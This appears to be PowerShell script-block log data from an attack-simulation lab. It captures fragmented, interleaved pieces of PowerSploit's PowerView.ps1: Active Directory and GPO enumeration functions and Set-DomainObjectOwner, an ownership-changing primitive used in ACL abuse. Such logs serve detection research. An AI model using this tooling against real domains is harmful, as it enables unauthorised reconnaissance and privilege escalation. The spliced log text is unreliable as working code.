.PARAMETER ResolveMembersToSIDs
Switch. Indicates that any member names should be resolved to their domain SIDs.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainGPOLocalGroup
Returns all local groups set by GPO along with their members and memberof.
.EXAMPLE
Get-DomainGPOLocalGroup -ResolveMembersToSIDs
Returns all local groups set by GPO along with their members and memberof,
and resolve any members to their domain SIDs.
.EXAMPLE
'{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup
Return any GPO-se38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1
4104132150x0715328Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local3355\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
Parse the default domain policy .inf for dev.testlab.local
.EXAMPLE
Get-DomainGPO testing | Get-GptTmpl
Parse the GptTmpl.inf policy for the GPO with display name of 'testing'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
Parse the default domain policy .inf for dev.testlab.local using alternate credentials.
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed GptTmpl.inf file.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('gpcfilesyspath', 'Path')]
[String]
$GptTmplPath,
[Switch]
$OutputObject,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
$TargetGptTmplPath = $GptTmplPath
if (-not $TargetGptTmplPath.EndsWith('.inf')) {
$TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
}
Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
if ($PSBoundParameters['OutputObject']) {
$Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
if ($Contents) {
$Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
$Contents
}
}
else {
$Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
if ($Contents) {
$Contents['Path'] = $TargetGptTmplPath
$Contents
}
}
}
catch {
Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-GroupsXML {
<#
.SYNOPSIS
Helper to parse a groups.xml file path into a custom object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID
.DESCRIPTION
Parses a groups.xml into a custom object. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GroupsXMLpath
Specifies the groups.xml file path name to parse.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.OUTPUTS
PowerView.GroupsXML
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GroupsXML')]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Path')]
[String]
$GroupsXMLPath,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
[XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
# process all group properties in the XML
$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
$Groupname = $_.Properties.groupName
# extract the localgroup sid for memberof
$GroupSID = $_.Properties.groupSid
if (-not $GroupSID) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
else {
if ($PSBoundParameters['Credential']) {
$GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
}
else {
$GroupSID = ConvertTo-SID -ObjectName $Groupname
}
}
}
# extract out members added to this group
$Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
if ($_.sid) { $_.sid }
else { $_.name }
}
if ($Members) {
# extract out any/all filters...I hate you GPP
if ($_.filters) {
$Filters = $_.filters.GetEnumerator() | ForEach-Object {
New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
}
}
else {
$Filters = $Null
}
if ($Members -isnot [System.Array]) { $Members = @($Members) }
$GroupsXML = New-Object PSObject
$GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
$GroupsXML | Add-Member Noteproperty 'Filters' $Filters
$GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
$GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
$GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
$GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
$GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
$GroupsXML
}
}
}
catch {
Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-DomainGPO {
<#
.SYNOPSIS
Return all GPOs or specific GPO objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all GPO objects for
the current domain are returned. To enumerate all GPOs that are applied to
a particular machine, use -ComputerName X.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ComputerIdentity
Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
.PARAMETER UserIdentity
Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainGPO -Domain testlab.local
Return all GPOs for the testlab.local domain
.EXAMPLE
Get-DomainGPO -ComputerName windows1.testlab.local
Returns all GPOs applied windows1.testlab.local
.EXAMPLE
"{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
name of "Test GPO"
.EXAMPLE
Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainGPO -Credential $Cred
.OUTPUTS
PowerView.GPO
Custom PSObject with translated GPO property fields.
PowerView.GPO.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[OutputType('PowerView.GPO')]
[OutputType('PowerView.GPO.Raw')]
[CmdletBinding(DefaultParameterSetName = 'None')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Parameter(ParameterSetName = 'ComputerIdentity')]
[Alias('ComputerName')]
[ValidateNotNullOrEmpty()]
[String]
$ComputerIdentity,
[Parameter(ParameterSetName = 'UserIdentity')]
[Alias('UserName')]
[ValidateNotNullOrEmpty()]
[String]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1
4104132150x0715319Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2455yIdentifier
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN
$InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass
$InterestingACL
}
}
else {
Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName"
}
}
}
}
}
}
}
function Get-DomainOU {
<#
.SYNOPSIS
Search for all organization units (OUs) or specific OU objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties whencreated,usnchanged,...". By default, all OU objects for
the current domain are returned.
.PARAMETER Identity
An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or
GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted.
.PARAMETER GPLink
Only return OUs with the specified GUID in their gplink property.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainOU
Returns the current OUs in the domain.
.EXAMPLE
Get-DomainOU *admin* -Domain testlab.local
Returns all OUs with "admin" in their name in the testlab.local domain.
.EXAMPLE
Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
Returns all OUs with linked to the specified group policy object.
.EXAMPLE
"*admin*","*server*" | Get-DomainOU
Search for OUs with the specific names.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainOU -Credential $Cred
.OUTPUTS
PowerView.OU
Custom PSObject with translated OU property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.OU')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
[Alias('GUID')]
$GPLink,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$OUSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($OUSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^OU=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$OUSearcher = Get-DomainSearcher @SearcherArguments
if (-not $OUSearcher) {
Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(name=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['GPLink']) {
Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property"
$Filter += "(gplink=*$GPLink*)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)"
Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() }
else { $Results = $OUSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$OU = $_
}
else {
$OU = Convert-LDAPProperty -Properties $_.Properties
}
$OU.PSObject.TypeNames.Insert(0, 'PowerView.OU')
$OU
}
if ($Results) {
try { $Results.dispose() }
catch {
Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_"
}
}
$OUSearcher.dispose()
}
}
}
function Get-DomainSite {
<#
.SYNOPSIS
Search for all sites or specific site objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties whencreated,usnchanged,...". By default, all site objects for
the current domain are returned.
.PARAMETER Identity
An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or
GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted.
.PARAMETER GPLink
Only return sites with the specified GUID in their gplink property.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainSite
Returns the current sites in the domain.
.EXAMPLE
Get-DomainSite *admin* -Domain testlab.local
Returns all sites with "admin" in their name in the testlab.local domain.
.EXAMPLE
Get-DomainSite -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272"
Returns all sites with linked to the specified group policy object.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainSite -Credential $Cred
.OUTPUTS
PowerView.Site
Custom PSObject with translated site property fields.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.Site')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[String]
[Alias('GUID')]
$GPLink,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
38b68196-2238-4551-8b75-48ec50160e82C:\tools\PowerSploit\Recon\PowerView.ps1
4104132150x0715315Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local2055sControlType
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType)
} elseif($ObjectType -eq $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, ([System.DirectoryServices.ActiveDirectorySecurityInheritance]$InheritanceType), $InheritedObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -eq [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -eq $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType
} elseif($ObjectType -ne $null -and $InheritanceType -ne [String]::Empty -and $InheritedObjectType -ne $null) {
New-Object System.DirectoryServices.ActiveDirectoryAccessRule -ArgumentList $Identity, $ADRight, $AccessControlType, $ObjectType, $InheritanceType, $InheritedObjectType
}
}
}
}
function Set-DomainObjectOwner {
<#
.SYNOPSIS
Modifies the owner for a specified active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Retrieves the Active Directory object specified by -Identity by splatting to
Get-DomainObject, returning the raw searchresult object. Retrieves the raw
directoryentry for the object, and sets the object owner to -OwnerIdentity.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
of the AD object to set the owner for.
.PARAMETER OwnerIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
of the owner to set for -Identity.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
Set the owner of 'dfm' in the current domain to 'harmj0y'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y -Credential $Cred
Set the owner of 'dfm' in the current domain to 'harmj0y' using the alternate credentials.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String]
$Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Owner')]
[String]
$OwnerIdentity,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
